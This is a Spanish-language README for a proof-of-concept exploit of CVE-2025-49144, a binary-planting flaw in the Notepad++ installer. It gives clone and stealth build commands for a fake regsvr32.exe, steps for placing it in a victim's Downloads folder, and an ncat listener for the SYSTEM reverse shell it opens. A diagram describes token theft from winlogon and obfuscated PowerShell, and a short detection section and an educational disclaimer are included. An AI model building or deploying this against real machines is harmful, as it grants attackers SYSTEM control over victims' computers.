
Prueba de concepto CVE-2025-49144
⚠️ SOLO CON FINES EDUCATIVOS
Este código está diseñado para fines educativos y de investigación para comprender las vulnerabilidades de plantación binaria. Úselo solo en entornos controlados con la autorización adecuada.
Esta Prueba de Concepto demuestra la vulnerabilidad de plantación binaria en el instalador de Notepad++ (CVE-2025-49144) referenciada en GHSA-9vx8-v79m-6m24. La vulnerabilidad permite a un atacante obtener privilegios de nivel SYSTEM colocando un ejecutable malicioso llamado regsvr32.exe en el mismo directorio que el instalador de Notepad++.
regsvr32.exe maliciosoEl PoC consta de múltiples componentes que trabajan juntos:
┌─────────────────────────┐ ┌────────────────────────┐ ┌────────────────────────────────┐
│ Instalador de Notepad++ │ │ regsvr32.exe malicioso │ │ Shell inversa (PowerShell) │
│ (busca regsvr32.exe) │───▶│ (binario CGO) │───▶│ con privilegios SYSTEM │
└─────────────────────────┘ └────────────────────────┘ └────────────────────────────────┘
# Instalar Go (1.24+)
# Instalar MinGW-w64 para compilación CGO
# Instalar Git para control de versiones
# Clonar el repositorio
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Compilar como ejecutable (suplantando como regsvr32.exe)
# Para máximo sigilo (eliminar información de depuración)
go build -ldflags="-s -w" -o regsvr32.exe
# Para desarrollo (con símbolos de depuración)
go build -o regsvr32_debug.exe
# 1. Colocar regsvr32.exe malicioso en el mismo directorio que el instalador de Notepad++
# Generalmente la carpeta Descargas donde los usuarios descargan el instalador
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. El usuario descarga el instalador oficial de Notepad++ en la carpeta Descargas
# 3. Cuando el usuario ejecuta el instalador, primero busca regsvr32.exe en el directorio actual
# 4. El instalador encuentra y ejecuta nuestro regsvr32.exe malicioso con privilegios SYSTEM
# 5. Escuchar la conexión entrante de la shell inversa
ncat -tlnp 4445
sequenceDiagram
participant Usuario
participant Atacante
participant Descargas
participant InstaladorNotepad
participant Regsvr32Malicioso
participant ProcesoSYSTEM
Usuario->>Descargas: Descargar instalador de Notepad++
Atacante->>Descargas: Colocar regsvr32.exe malicioso (ingeniería social)
Usuario->>InstaladorNotepad: Ejecutar instalador desde la carpeta Descargas
InstaladorNotepad->>Descargas: Buscar regsvr32.exe en el directorio actual
Descargas->>Regsvr32Malicioso: Encontrar regsvr32.exe malicioso primero
InstaladorNotepad->>Regsvr32Malicioso: Ejecutar con privilegios SYSTEM
Regsvr32Malicioso->>Regsvr32Malicioso: Crear proceso separado
Regsvr32Malicioso->>ProcesoSYSTEM: Enumerar procesos SYSTEM
ProcesoSYSTEM->>Regsvr32Malicioso: Robar token de winlogon/servicios
Regsvr32Malicioso->>Regsvr32Malicioso: Crear PowerShell con token SYSTEM
Regsvr32Malicioso->>Atacante: Establecer conexión inversa
Regsvr32Malicioso->>InstaladorNotepad: Continuar con funcionalidad legítima de regsvr32
Atacante->>ProcesoSYSTEM: Ejecutar comandos como SYSTEMPlantación Binaria
Escalada de Privilegios
Mecanismos de Persistencia
Programación de Redes
Programación CGO
# Monitorear uso sospechoso de regsvr32
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Verificar conexiones de red inusuales
netstat -ano | findstr ":4445"
# Monitorear creación de procesos
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
Fallos de Conexión
# Verificar si el puerto está disponible
netstat -ano | findstr ":4445"
# Verificar configuraciones de firewall
netsh advfirewall firewall show rule name=all | findstr "4445"
Errores de Compilación
# Asegurar que CGO esté habilitado
set CGO_ENABLED=1
# Verificar instalación de MinGW
gcc --version
# Verificar que la instalación de Go soporte CGO
go env CGO_ENABLED
Fallos de Adquisición de Tokens
Este proyecto se publica bajo la Licencia MIT con fines educativos. Consulte el archivo LICENSE para obtener más detalles.
Recuerde: Esta herramienta es solo para fines educativos y pruebas autorizadas. Siga siempre las prácticas de divulgación responsable y respete los límites legales.
| Archivo | Propósito | Líneas |
|---|
main.go | Punto de entrada, maneja la ejecución de regsvr32 | ~80 |
winbind.h | Encabezado principal con declaraciones de funciones | ~45 |
main.c | Lanzador principal de shell inversa y creación de procesos separados | ~75 |
shell.c | Manejador de shell con ejecución ofuscada de PowerShell | ~120 |
process.c | Adquisición de tokens y creación de procesos SYSTEM | ~195 |
socket.c | Conexión de red con TCP keep-alive | ~85 |
threads.c | Hilos de E/S entre socket y pipes | ~60 |
utils.c | Validación de entrada y limitación de velocidad | ~35 |
obfuscate.c | Técnicas de ofuscación de ruta de PowerShell | ~70 |